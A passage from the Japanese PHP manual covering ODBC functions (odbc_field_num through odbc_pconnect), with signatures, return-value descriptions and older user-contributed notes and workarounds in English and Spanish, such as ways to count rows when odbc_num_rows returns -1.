and recompile php.

I did it with char name[64] cause I have column names like "0214_1_VD_Type d'exploitation Type d'operation (Niveau 1)"  [I didn't choose this stupid name it comes from Eccairs project]
and rebuild php with the method given here http://www.php.net/manual/en/install.windows.building.php  and http://elizabethmariesmith.com/2006/11/09/
compiling-php52-on-windows-with-net-toolchain-is-it-even-possible/

with visual C++ express edition.
jezzghost 21-Feb-2006 10:32
Note that there is a known limitation with this which truncates the length of the returned field name to 31 characters without warning.
hayes029 at bama dot ua dot edu 13-Apr-2004 10:01
In search of a function that would simply return an array with the names of the fields in a result identifier, the only thing I could find was the odbc_field_name function.  So, for anyone else looking for such a function, here's the (very simple) function I wrote:

function odbc_field_names ($result) {
  for ($i=1; $i <= odbc_num_fields($result); $i++) $return_array[$i-1] = odbc_field_name($result, $i);
  return $return_array;
}

Very simple, I know, but I thought it might be helpful.
andrea dot galli at acotel dot com 29-Apr-2003 08:12
Example: function field name.

$Link_ID = odbc_connect("DSN", "user", "pass");

$query = "SELECT * FROM products";

$Query_ID = odbc_exec($Link_ID, $query);

while($field = $field_name($Query_ID ))
{
     echo("Field: $field<br />\n");
}

---------------------

function field_name($PrQuery_ID)
{
     if($Column < odbc_num_fields($PrQuery_ID))
     {
          $Column += 1;
          $FieldName = odbc_field_name($PrQuery_ID, $Column);

          return $FieldName;
     }
     else
     {
          return 0;
     }
}
aleckzandr at yahoo dot com 17-Apr-2003 12:04
Well, I've been into PHP for four hours and thanks to "my predecessors before me" (gold163, curt, et al.) I've managed the following. The first thing I try to learn with any web scripting language is to build a dynamic table from a data source. (One thing you didn't have to do gold -previous post- is build an array for the field value.) Cheers! Alex

<html>
 <head>
  <title>PHP Database Example</title>
 </head>
 <style type="text/css">
 <!--
  body {font: 10pt/12pt Tahoma, Verdana, Helvetica, sans-serif; color: indigo; margin: .25in .5in }
  table {color:Navy; background-color:AntiqueWhite; border-color:Maroon; border-style:Solid; border-width: 2px; }
  th {color: blue; font-weight: bold; }
  td {font-size: smaller; }
  .mytable {color:Maroon; background-color:White; border-color:Navy; border-style:Solid; border-width: 1px; }
  th.mytable {background-color:#C0C0C0; }
 //-->
 </style>
 <body>

 <p><?php echo date("j F, Y"); ?></p>
<?php

$db = odbc_connect("eSell22MDB","","");
$result = odbc_exec($db, "select ProductID, ProductName, Description1 from Products");

// cool function - returns table
odbc_result_all($result, "border=\"1\" class=\"def\"");

$result = odbc_exec($db, "select * from Products") or die("Select failed");

$myUtil = new Utilities();

$myUtil->standard_table($result,"mytable");

class Utilities {

     function standard_table($result,$class="")
     {
         // To format your table if you want to use cascading style sheets
         if ($class == "")
         {
             $css_table = " border=\"1\"";
             $css_tr = "";
             $css_th = "";
             $css_td = "";
         }
         else
         {
             $css_table = " class=\"$class\"";
             $css_tr = " class=\"$class\"";
             $css_th = " class=\"$class\"";
             $css_td = " class=\"$class\"";
         }

         // Create field names for table header row
         $i = 0;
         $fieldCount = odbc_num_fields($result);
         echo "  <table$css_table>\n";
         echo "   <tr$css_tr>\n";

         while ($i < $fieldCount)
         {
             $i++;
             $fieldName = odbc_field_name($result, $i);
             echo "    <th$css_th>$fieldName</th>\n";
         }
         echo "   </tr>\n";

         # Create table data rows for query result
         while (odbc_fetch_row($result))
         {
             $i = 0;
             echo "   <tr$css_tr>\n";
             while ($i < $fieldCount)
             {
                 $i++;
                 $fieldData = trim(odbc_result($result, $i));
                 if ($fieldData  == "")
                     echo "    <td$css_td>&nbsp;</td>\n";
                 else
                     echo "    <td$css_td>$fieldData</td>\n";
             }
             echo "   </tr>\n";
         }
         echo "  </table>";
     }
} // class Utilities

?>

 </body>
</html>
gold163 at lisco dot com 25-Mar-2003 09:10
Using your code, and taking it a step further, I can create a standard table from a single line of code by calling a function from my include file - the bonus is, that I can optionally provide a parameter for the name of my style sheet class - further simplifying my formatting of the table.

What synergy you find in these forums - eh?

$Conn = odbc_connect('dsn','user','pass');
$query = "SELECT * FROM yourtable";
$result = odbc_exec($Conn, $query) or die('Select failed!');

standard_table($result);

Function standard_table($result,$class='')
{
# To format your table if you want to use cascading style sheets
 if ($class == '')
 {
  $css_table = ' border=1';
  $css_tr = '';
  $css_th = '';
  $css_td = '';
 }
 else
 {
  $css_table = ' class=\"$class\"';
  $css_tr = ' class=\"$class\"';
  $css_th = ' class=\"$class\"';
  $css_td = ' class=\"$class\"';
 }

# Create field names for table header row
$i = 0;
$fCount = odbc_num_fields($result);
echo "<table$css_table><tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    echo "<th>$fName</th>";
  }
echo "</tr>";

# Create table data rows for query result
$i = 0;
$fCount = odbc_num_fields($result);
while (odbc_fetch_row($result))
{
echo "<tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    $job[$fName] = odbc_result($result, $i);
    echo "<td>$job[$fName]</td>";
  }
echo "</tr>";
$i = 0;
}
echo "</table>";
}
curt at digmo dot com 31-Jul-2001 06:58
I turned Jason's code into a function to roughly mimic the mysql_fetch_array function. I'm not a programmer and I've been messing with PHP less than a week, so I imagine there's a more efficient method that what I've come up with.

function odbc_fetch_array($rownum, $res)
{

$i = 0;
$fCount = odbc_num_fields($res);
odbc_fetch_row($res, $rownum);
    while ($i < $fCount)
        {
    $i++;
    $fName = odbc_field_name($res, $i);
    $myrow[$fName] = odbc_result($res, $i);
          }
$i=0;
return $myrow;
}
10-Mar-2001 04:11
Wow, I finally have something to contribute.
If you, like me, have been seeking a way to name and fill your variables with the appropriate names an values, rather than naming every variable and using odbc_result($result, 1), odbc_result($result, 2), etc...Then this little loop is for you!  It would probably be nice to use as function, but I'm sure you can do that on your own, eh?

<?php
$query = "SELECT * FROM TableName";
$result = odbc_exec($conn, $query) or die('Select failed!');
$i = 0;
$fCount = odbc_num_fields($result);

while (odbc_fetch_row($result)) {
    while ($i < $fCount) {
        $i++;
        $fName = odbc_field_name($result, $i);
        $job[$fName] = odbc_result($result, $i);
    }
    $i=0;
}
?>

This should be pretty simple code to follow, you can address your variables at any time later using the column names from your table.  For now I am addressing them with their real values and using this simply to avoid having to type out all the variable names in the top of my code.  Have fun.

Jason/ArtHacker.com


カラム番号を返す

  • ≪ odbc_field_name
  • odbc_field_precision ≫
  • PHP Manual
  • ODBC 関数
  • カラム番号を返す

odbc_field_num

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_num — カラム番号を返す

説明

odbc_field_num ( resource $statement , string $field ) : int|false

指定したODBC 結果 ID におけるフィールド名に対応するカラムスロットの数を取得します。

パラメータ

statement

結果 ID。

field

フィールド名。

返り値

フィールド番号、あるいはエラー時に false を返します。 フィールド番号は、1 から始まります。

User Contributed Notes

There are no user contributed notes for this page.


odbc_field_len のエイリアス

  • ≪ odbc_field_num
  • odbc_field_scale ≫
  • PHP Manual
  • ODBC 関数
  • odbc_field_len のエイリアス

odbc_field_precision

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_precision — odbc_field_len() のエイリアス

説明

この関数は次の関数のエイリアスです。 odbc_field_len().

参考

  • 浮動小数点の精度を得るには odbc_field_scale() - フィールドの精度を得る

User Contributed Notes

There are no user contributed notes for this page.


フィールドの精度を得る

  • ≪ odbc_field_precision
  • odbc_field_type ≫
  • PHP Manual
  • ODBC 関数
  • フィールドの精度を得る

odbc_field_scale

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_scale — フィールドの精度を得る

説明

odbc_field_scale ( resource $statement , int $field ) : int|false

指定した ODBC 結果 ID の番号で指定したフィールドの精度を取得します。

パラメータ

statement

結果 ID。

field

フィールド番号。 フィールド番号は、1 から始まります。

返り値

フィールド番号、あるいはエラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フィールドのデータ型を返す

  • ≪ odbc_field_scale
  • odbc_foreignkeys ≫
  • PHP Manual
  • ODBC 関数
  • フィールドのデータ型を返す

odbc_field_type

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_type — フィールドのデータ型を返す

説明

odbc_field_type ( resource $statement , int $field ) : string|false

指定された ODBC 結果 ID において指定番号で参照されるフィールドの SQL 型を取得します。

パラメータ

statement

結果 ID。

field

フィールド番号。フィールド番号は 1 から始まります。

返り値

フィールドの型を表す文字列、あるいはエラー時に false を返します。

User Contributed Notes

ted at convey dot de 15-Sep-2015 11:05
odbc_field_type seems to return the data type of the database backend, not the data types from ODBC documentation.

Example: With my Oracle backend I get data types like "CLOB" and "VARCHAR2" while ODBC only knows SQL_LONGVARCHAR for long character data...
jschwartz at the-infoshop dot com 04-Aug-2009 01:40
Quick note: as noted below, MS Access type AutoNumber comes across as type COUNTER. What I didn't see mentioned is that PHP interprets type COUNTER as a string, not an integer.

More annoying than anything else, in my particular case; but I'd guess it could bite somebody, somewhere.
jorge dot emailNOSPAM at gmail dot com 17-Jan-2007 04:21
Here is the complete list!

Access 2003 as the following teturntypes:

COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink
DOUBLE - Double Number
BYTE - Byte Number
not[at]wgpower[dot]net 19-May-2006 05:02
Some fields can be of the following type too : REAL
jazper at lycos dot de 10-Jul-2002 03:30
Returntypes on Access2000
COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink

cheers, j.a.z.


外部キーのリストを取得する

  • ≪ odbc_field_type
  • odbc_free_result ≫
  • PHP Manual
  • ODBC 関数
  • 外部キーのリストを取得する

odbc_foreignkeys

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_foreignkeys — 外部キーのリストを取得する

説明

odbc_foreignkeys ( resource $odbc , string|null $pk_catalog , string $pk_schema , string $pk_table , string $fk_catalog , string $fk_schema , string $fk_table ) : resource|false

指定したテーブルの外部キーのリスト、 または指定したテーブルの主キーを参照する他のテーブルの外部キーのリストを取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

pk_catalog

主キーテーブルのカタログ (ODBC 2 の用語では '修飾子')

pk_schema

主キーテーブルのスキーマ(ODBC 2 の用語では '所有者')

pk_table

主キーのテーブル。

pk_catalog

外部キーテーブルのカタログ (ODBC 2 の用語では '修飾子')

fk_schema

外部キーテーブルのスキーマ(ODBC 2 の用語では '所有者')

fk_table

外部キーのテーブル。

返り値

ODBC 結果 ID を返します。失敗した場合に false を返します。

結果は、以下のようなカラムを持つものとなります。

  • PKTABLE_CAT
  • PKTABLE_SCHEM
  • PKTABLE_NAME
  • PKCOLUMN_NAME
  • FKTABLE_CAT
  • FKTABLE_SCHEM
  • FKTABLE_NAME
  • FKCOLUMN_NAME
  • KEY_SEQ
  • UPDATE_RULE
  • DELETE_RULE
  • FK_NAME
  • PK_NAME
  • DEFERRABILITY
ドライバは追加のカラムを返すことが出来ます。

プライマリーキーと関連がある外部キーが指定された場合、 結果セットは FKTABLE_CAT, FKTABLE_SCHEM, FKTABLE_NAME, KEY_SEQ でソートされます。 外部キーと関連がある主キーが指定された場合、 結果セットは PKTABLE_CAT, PKTABLE_SCHEM, PKTABLE_NAME, KEY_SEQ でソートされます。

pk_table がテーブル名を有している場合、 odbc_foreignkeys() は指定したテーブルの主キー およびそのキーを参照する全ての外部キーのリストを結果として返します。

fk_table がテーブル名を有している場合、 odbc_foreignkeys() は指定したテーブルにある全ての 外部キーおよびそのキーが参照する(他のテーブルの)主キーのリストを 結果として返します。

pk_table および fk_table が共にテーブル名を有している場合、 odbc_foreignkeys() は pk_table で指定されたテーブルの主キーを参照する fk_table で指定されたテーブルの外部キーを返します。 返されるキーは最大でも一つだけです。

参考

  • odbc_tables() - 指定したデータソースに保存されたテーブルの名前のリストを取得する
  • odbc_primarykeys() - テーブルの主キーを取得する

User Contributed Notes

There are no user contributed notes for this page.


結果を保持するリソースを開放する

  • ≪ odbc_foreignkeys
  • odbc_gettypeinfo ≫
  • PHP Manual
  • ODBC 関数
  • 結果を保持するリソースを開放する

odbc_free_result

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_free_result — 結果を保持するリソースを開放する

説明

odbc_free_result ( resource $statement ) : bool

結果を保持するリソースを開放します。

odbc_free_result()は、スクリプトのメモリ消費量が 多すぎることが懸念される場合にのみコールする必要があります。 全ての結果保持用メモリは、スクリプト実行が終了した際に自動的に開放されます。

パラメータ

statement

結果 ID。

返り値

常に true を返します。

注意

注意:

自動コミットが無効（odbc_autocommit() を 参照ください）な時にコミットの前に odbc_free_result() をコールすると、全ての 未解決のトランザクションは、ロールバックされます。

User Contributed Notes

sergio.deleon at techoblige 28-Mar-2018 10:18
MDBTools driver needs you to properly free up a result_id before reusing a variable.
An odbc_fetch_array() over a overwritten variable with a new result will crash the script with a Segmentation fault if the previous resource wasn't free'd up.

PHP 5.6


データソースがサポートするデータ型についての情報を取得する

  • ≪ odbc_free_result
  • odbc_longreadlen ≫
  • PHP Manual
  • ODBC 関数
  • データソースがサポートするデータ型についての情報を取得する

odbc_gettypeinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_gettypeinfo — データソースがサポートするデータ型についての情報を取得する

説明

odbc_gettypeinfo ( resource $odbc , int $data_type = 0 ) : resource|false

データソースがサポートするデータ型についての情報を取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

data_type

データ型。単一のデータ型に情報を制限するために使用します。

返り値

ODBC 結果 ID または失敗した場合に false を返します。

結果は、以下のようなカラムを持つものとなります。

  • TYPE_NAME
  • DATA_TYPE
  • PRECISION
  • LITERAL_PREFIX
  • LITERAL_SUFFIX
  • CREATE_PARAMS
  • NULLABLE
  • CASE_SENSITIVE
  • SEARCHABLE
  • UNSIGNED_ATTRIBUTE
  • MONEY
  • AUTO_INCREMENT
  • LOCAL_TYPE_NAME
  • MINIMUM_SCALE
  • MAXIMUM_SCALE

結果セットは、DATA_TYPE および TYPE_NAME でソートされます。

User Contributed Notes

andrea dot galli at acotel dot com 29-Apr-2003 09:45
Example: display all data types

<?php

     $Link_ID = odbc_connect("DSN", "user", "pass");
     $result = odbc_gettypeinfo($Link_ID);

     odbc_result_all($result);

?>


LONG カラムを処理する

  • ≪ odbc_gettypeinfo
  • odbc_next_result ≫
  • PHP Manual
  • ODBC 関数
  • LONG カラムを処理する

odbc_longreadlen

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_longreadlen — LONG カラムを処理する

説明

odbc_longreadlen ( resource $statement , int $length ) : bool

LONG および LONGVARBINARY のカラムを処理する方法を制御します。 デフォルトの長さは、php.ini の uodbc.defaultlrl 経由で設定できます。

パラメータ

statement

結果 ID。

length

PHP に返されるバイト数は、パラメータ length により制御されます。 これを 0 をセットした場合、ロングカラムデータは、 odbc_result() で取得する際に、クライアントにそのまま渡されます(つまり、表示されます)。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

LONGVARBINARY カラムの処理は、odbc_binmode() にも影響を受けます。

User Contributed Notes

Eion Robb 17-Feb-2016 10:26
It's not mentioned in the notes here, but odbc_longreadlen($result, 0); only affects the output from odbc_result().  Setting the read length to 0 (or less than zero) will just output a blank string in the odbc_fetch_object(), odbc_fetch_array() and odbc_result_all() functions
egil at wp dot pl 22-Jul-2009 02:06
I've tried to use a suggestion in the first comment but that didn't actually worked as I would expect... I wanted to get all data no matter how big it is, but strange things happened and I finally found this solution (works fine at least for MS SQL 2000 for at least few MB of binary data):

<?php
// connection
$link = odbc_connect($odbc_source_name, $user, $pass);

// query (note - one row in this example)
$sql = 'SELECT image_data_column FROM some_table WHERE record_id=1';

// run
$result = odbc_exec ($link, $sql)
if (!$result)
{
    trigger_error ('[sql] exec: '.$sql, E_USER_ERROR);
}

// fetch settings
odbc_binmode ($result, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen ($result, 0);

// get contents
ob_start(); // you would probably need to move this inside if you expect more rows
while (odbc_fetch_row($result))
{
    odbc_result($result, 1); // this actually echos all of the contents of the image_data_column
}
odbc_free_result($result);
$contents = ob_get_clean();
?>
php dot net dot notes at webqs dot com 06-Aug-2005 06:12
Hi

If you are experiencing troubles with truncated and/or strangely encoded data when using PHP with MS SQL via ODBC try setting odbc.defaultlrl ( in php.ini or via ini_set() ) to a largish number, say 65536, as stated in the other notes here.
The trick is to know how long your data is going to be, so you may want to provide some overhead. Unfortunately you have to know how long your piece of string is before you cut it.

Doing this will allow your app to read up to this amount in one go. I'm sure there is a reason for this behaviour but I hadn't experienced anything like it in 5 years of MySQL and Postgres development.

If you still experience problems AND are using unicode data in the long column of your table, make sure it is set to type "ntext", if it is "text". MSDN has some info on data types for Unicode data.
This caused about 3 days of headaches for me, "binary" data crashing browsers and cyclical result sets (i.e repeating data after odbc.defaultlrl bytes).

This fix was only found by poking things with sticks.

HTH
jdcard at inreach dot com 08-Dec-2004 09:37
I was reading from a MEMO field (long varchar) in MSAccess, but the data was consistently truncated at 255 characters. I tried all the combinations of odbc_longreadlen() and odbc_binmode()  (and odbc.defaultlrl) that I could think of but none of them resolved the problem.

The only fix that worked was to modify my query from "SELECT Field1, Field2 FROM TableName" to "SELECT * FROM TableName".

I suspect that you could cast the field to force the appropriate data type, but when it finally worked after three days of struggle I didn't even try.
25-Sep-2002 05:00
An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length
jasendorf at lcounty dot com 13-Dec-2000 04:26
I had a heck of a time figuring out what to do with this function.  Here's a little piece of code from Jason Lee which I found that might help someone else...

$cur = odbc_exec($cnx, $query);
if(!$cur) {
/* error handler */
}

odbc_binmode($cur, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen($cur, 16384); /* Allow 16kb thru */

while(odbc_fetch_row($cur)) {
$bigger_than_4096_var = odbc_result($cur, 1);
/* etc... */

Hope this helps someone, John


複数の結果が利用可能などうか確認する

  • ≪ odbc_longreadlen
  • odbc_num_fields ≫
  • PHP Manual
  • ODBC 関数
  • 複数の結果が利用可能などうか確認する

odbc_next_result

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_next_result — 複数の結果が利用可能などうか確認する

説明

odbc_next_result ( resource $statement ) : bool

まだ結果セットが存在して odbc_fetch_array()、odbc_fetch_row()、 odbc_result() などで次の結果セットにアクセスできるかどうかを調べます。

パラメータ

statement

結果 ID。

返り値

結果セットがまだある場合に true、それ以外の場合に false を返します。

例

例1 odbc_next_result()

<?php
$r_Connection = odbc_connect($dsn, $username, $password);

$s_SQL = <<<END_SQL
SELECT 'A'
SELECT 'B'
SELECT 'C'
END_SQL;

$r_Results = odbc_exec($r_Connection, $s_SQL);

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "最初の結果セットを出力します";
var_dump($a_Row1, $a_Row2);

echo "二番目の結果セットを取得します ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "二番目の結果セットを出力します ";
var_dump($a_Row1, $a_Row2);

echo "三番目の結果セットを取得します ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "三番目の結果セットを出力します ";
var_dump($a_Row1, $a_Row2);

echo "四番目の結果セットを調べてみます ";
var_dump(odbc_next_result($r_Results));
?>

上の例の出力は以下となります。

最初の結果セットを出力します array(1) {
  ["A"]=>
  string(1) "A"
}
bool(false)
二番目の結果セットを取得します bool(true)
二番目の結果セットを出力します array(1) {
  ["B"]=>
  string(1) "B"
}
bool(false)
三番目の結果セットを取得します bool(true)
三番目の結果セットを出力します array(1) {
  ["C"]=>
  string(1) "C"
}
bool(false)
四番目の結果セットを調べてみます bool(false)

User Contributed Notes

carlosgoce AT gmail DOT com 30-Apr-2013 04:27
Using dbase always returns false or -1. It won't work. Just like odbc_num_rows.
mypsuedoemail at yahoo dot com 28-May-2006 05:06
This function works exactly like its equivalent Microsoft SQL Server function: mssql_next_result(). The information above is rather vague and a bit misleading, so refer to the mssql version of this function for details on to use it properly.

P.S. It works with stored procedures.


結果のカラム数を返す

  • ≪ odbc_next_result
  • odbc_num_rows ≫
  • PHP Manual
  • ODBC 関数
  • 結果のカラム数を返す

odbc_num_fields

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_num_fields — 結果のカラム数を返す

説明

odbc_num_fields ( resource $statement ) : int

ODBC 結果におけるフィールド (カラム) の数を取得します。

パラメータ

statement

odbc_exec() が返す結果 ID。

返り値

フィールド数、あるいはエラー時に -1 を返します。

User Contributed Notes

There are no user contributed notes for this page.


結果における行数を返す

  • ≪ odbc_num_fields
  • odbc_pconnect ≫
  • PHP Manual
  • ODBC 関数
  • 結果における行数を返す

odbc_num_rows

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_num_rows — 結果における行数を返す

説明

odbc_num_rows ( resource $statement ) : int

ODBC 結果における行の数を取得します。 INSERT、UPDATE および DELETE 命令に関しては、 odbc_num_rows() は、変更された行の数を返します。 SELECT 文の場合、この関数は利用可能な行の数を返します。

パラメータ

statement

odbc_exec() が返す結果 ID。

返り値

ODBC 結果における行の数を返します。 この関数は、エラー時に-1を返します。

注意

注意:

SELECT の後に利用可能な行の数を定義するために odbc_num_rows() を使用した場合、 多くのドライバにおいて、-1 が返されます。

User Contributed Notes

j.c 10-Feb-2020 02:14
On my server odbc_num_rows() is returning a kind of weird 48bit integer (perhaps it's a 64bit with 16bit heading zeroes...).
I found out that i can obtain the correct value by masking the result with 0xffffffff
<?php
    // your $result=odbc_exec(...)
    $num_rows    =    odbc_num_rows($result) & 0xffffffff;

    echo "this works for me: num rows=$num_rows\n";
?>
tom dot underwood5 at gmail dot com 15-Jan-2019 01:56
sometimes if you are for example using a stored procedure rather than an actual SELECT/INSERT/UPDATE, the odbc_num_rows can return unrealiable numbers (I was getting 3 or 0 for everything). In my case I was able to determine the number of rows with the following:

// Put the data in array

      while ($data[] = odbc_fetch_array($result));

// use native php function to get its size

    $num_rows = count($data);
    echo $num_rows;

Hope this helps someone.
panchome66 at gmail dot com 09-Feb-2014 09:22
Este codigo se probo en SQL Server 2000, no se probo en otras versiones como 2005 o 2008. Aun asi no se aplica para MySQL, porque no existe la tabla "sysindexes":

$cnx = odbc_connect("dbSQLEmpresa","Admin","123");
if ($cnx)
{
    $rs = odbc_exec($cnx, "SELECT * FROM alumnos");
    $f = odbc_num_fields($rs);
    $r = odbc_num_rows($rs);
    $r = LFRJ_odbc_num_rows($cnx,"alumnos");

    echo "<table border = '1'>";
    for ($i = 1; $i <= $f; $i++)
    {
        $n = odbc_field_name($rs, $i);
        echo "<th>", $n, "</th>";
    }
    while(odbc_fetch_row($rs))
    {
        echo "<tr>";
        for ($i = 1; $i <= $f; $i++)
        {
            $d = odbc_result($rs, $i);
            echo "<td>", $d, "</td>";
        }
        echo "</tr>";
    }
    echo "<tr><td colspan = '" . $f . "'>Campos(" . $f . ") Registros(" . $r . ")</td></tr>";
    echo "</table>";
}
odbc_close($cnx);

function LFRJ_odbc_num_rows($cnx,$Tabla)
{
    $rs = odbc_exec($cnx, "SELECT rows FROM sysindexes WHERE id = OBJECT_ID('" . $Tabla . "') AND indid < 2;");
    return odbc_result($rs, 1);
}
johnnyboyct-AT-yahoo.com 19-Jun-2013 05:35
function best_odbc_num_rows($r1)  {
    ob_start(); // block printing table with results
    (int)$number=odbc_result_all($r1);
    ob_clean(); // block printing table with results
    return $number;
}

Above is the best way to count if you are not using something like IBM Netezza and ODBC and not doing more than 100000ish records, otherwise even this method will run out of memory.

IBM Netezza and ODBC will give you counts matching the prefetch setting in the odbc.ini file :( the default is 256 so watch out because it is accurate until that number.
Gerd Christian Kunze 23-Jan-2013 12:34
odbc_num_rows does return -1 when it shouldn't.

i used this code:

<?php
if( odbc_num_rows( $Result ) ) {
   while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
     // do something with $Row
   }
}
else {
   return false;
}
?>

and it didn't work... obviously

but this while loop will skip an empty result set anyway, so i use this:

<?php
while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
  // do something with $Row
}
if( ! odbc_num_rows( $Result ) ) {
   return false;
}
?>

because after processing the $Result with fetch, odbc_num_rows reports the correct count (false|0..n) ... magic :-)
pjavilla at gmail dot com 01-Oct-2012 04:07
When accessing a DB2 database with PHP via the ODBC functions, beware of statements which include references to IBM's LONGDESCRIPTION table (for example, if you were - like myself - digging through IBM's Maximo product). Reading from that table usually requires error suppression, because although it works ODBC will spit out a warning message onscreen.

When you make it part of another query however, ODBC_NUM_ROWS will always return -1. The solution is to keep any queries to LONGDESCRIPTION in a separate standalone query by itself.

However, if you run the query though a previewer like Toad for DB2, using LONGDESCRIPTION in a larger query is fine and does show the results. It's just that you have to break the query up and segregate the query to LONGDESCRIPTION on its own if you are writing ODBC queries for PHP.

Just a quick note for anyone else who found ODBC_NUM_RESULTS normally reliable otherwise but inexplicably always returning -1 under certain circumstances.
walt at brookhouse dot co dot uk 09-Jul-2010 02:45
The easy way to count the rows in an odbc resultset where the driver returns -1 is to let SQL do the work:

<?php

    $conn = odbc_connect("dsn", "", "");
    $rs = odbc_exec($conn, "SELECT Count(*) AS counter FROM tablename WHERE fieldname='" . $value . "'");
    $arr = odbc_fetch_array($rs);
    echo $arr['counter'];

?>
chew_baka at hotmail dot com 18-May-2010 02:44
None of these examples were working for me, so I came up with the following silly procedure that gives me the number of rows.  This example is crude, but you should get the idea.

<?php
$cxn = odbc_connect("ODBC_DSN_NAME", "", "");
$sql = "SELECT * FROM some_table'";
$res = odbc_exec($cxn, $sql);
$items = 0;
 while ($row = odbc_fetch_array($res))
   {
       $items++;
   }
  odbc_free_result($res);
  echo "<br>total No. of rows: $items";
?>
jeff at script-xs dot com 02-Jan-2009 11:34
After minutes of frustration, I realized why odbc_num_rows was not returning the number of affected rows on a prepared update query.  I'm using ODBC to connect to Microsot SQL Server 2005.

My corrected code:

<?php
$query = odbc_prepare($conn, 'UPDATE table SET cat = ? WHERE id = 1');
$result = odbc_execute($query, $category);
$affected = odbc_num_rows($query);
?>

This code works.  I was frustrated that odbc_num_rows($result) didn't work as I expected, but instead required me to pass the original prepared query to this function.
sirio3mil at gmail dot com 17-Jun-2008 09:46
The diference between functions used here are consierable, for example for one table with 36 columns and 806 rows the time to execute two of those functions are this:

function using odbc odbc_result_all take 2,6 seconds
function using odbc_fetch_row take 0,8 seconds
areznik at survdata dot com 30-Nov-2007 10:04
I could have been noted before in this thread but I couldnt find it on my first search.

This function (odbc_num_rows) returns -1 when ODBCing to MS SQL and making it hard to get the number of rows in the returned recordset.

Two workarounds:
   1. When you just need to verify that any rows returned from your query you can use select count(*) as cnt from table and then just get $row['cnt']
   2. When you need to actually loop through the records this function returns number of rows in the recordset if and only if you include ORDER BY clause in your query statement.

That sounds a bit annoying but thats the work around when dealing with MS SQL odbc driver I guess.

It would be beneficial if someone explained how the Order By clause makes the difference.
Nathaniel at comtel dot com dot au 30-Oct-2007 08:57
My development computer is running XP sql2005 while the production copy sits on a server 2003R2 sql2000 computer.

In the course of trying to get this function to work (switching from mssql to odbc) I have discovered that the ODBC driver versions are different between the two OS and that while the newer version (release date 17/2/07) that is able to be installed on 2003 handles this function fine, the older version doesn't.

Microsoft sites suggest that Vista might also handle it (ie have the newer driver). It also says that there are no plans to release the newer driver in a installable package.

http://support.microsoft.com/kb/892854

Will hopefully test with the sql2005 on server 2003R2 in the near future to confirm it is the driver helping here.
pmo@raadvst-consetatDOTbe 16-Oct-2007 02:46
voland's function is simply great.
However, i would recommend the use of ob_end_clean(), to shut down completely the output buffer (can cause weird behaviour).
nielsvandenberge at hotm dot dot dot dot dot com 11-Sep-2007 05:06
I just tried to use the function best_odbc_num_rows($result) from voland at digitalshop dot ru, but it's not working quite well. After executing the function odbc_result_all(); the resultset has to be resetted again.
Resetting it with

odbc_fetch_row($result, 0);

is not working for me.

I think the internal number-value of the odbc_result_all()-function is not resetted, but that's just a guess.

when I execute the function 3 times with a resultset of 17 rows the values: 17, 34 and 51 are returned.

His previous function useful_odbc_num_rows($result) works better (for me).
voland at digitalshop dot ru 26-Mar-2007 07:50
Today we find a BEST way to count number of rows with ODBC!

function best_odbc_num_rows($r1)  {

ob_start(); // block printing table with results

(int)$number=odbc_result_all($r1);

ob_clean(); // block printing table with results

return $number;

}
voland at digitalshop dot ru 05-Mar-2007 05:56
After a hour for a searching a good alter function of odbc_num_rows... i try to write it by mysels:

function useful_odbc_num_rows($result){

   $num_rows=0;

   while($temp = odbc_fetch_into($result, &$counter))

   {
       $num_rows++;
   }

@odbc_fetch_row($result, 0);   // reset cursor

   return $num_rows;
}
dm at personalcomputingsolutions dot co dot uk 07-Feb-2007 01:41
function db_get_row($cur, $rownum){
if (odbc_fetch_into($cur, $row, $rownum)){
        return ($row);
    }else{
        return (FALSE);
}

$i=1;
if (db_get_row($cur,1)){
while ($record=db_get_row($cur,$i++)){
do stuff
}else{
tell the user there are no results
}


持続的なデータベース接続を開く

  • ≪ odbc_num_rows
  • odbc_prepare ≫
  • PHP Manual
  • ODBC 関数
  • 持続的なデータベース接続を開く

odbc_pconnect

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_pconnect — 持続的なデータベース接続を開く

説明

odbc_pconnect ( string $dsn , string $user , string $password , int $cursor_option = SQL_CUR_USE_DRIVER ) : resource|false

持続的なデータベース接続を開きます。

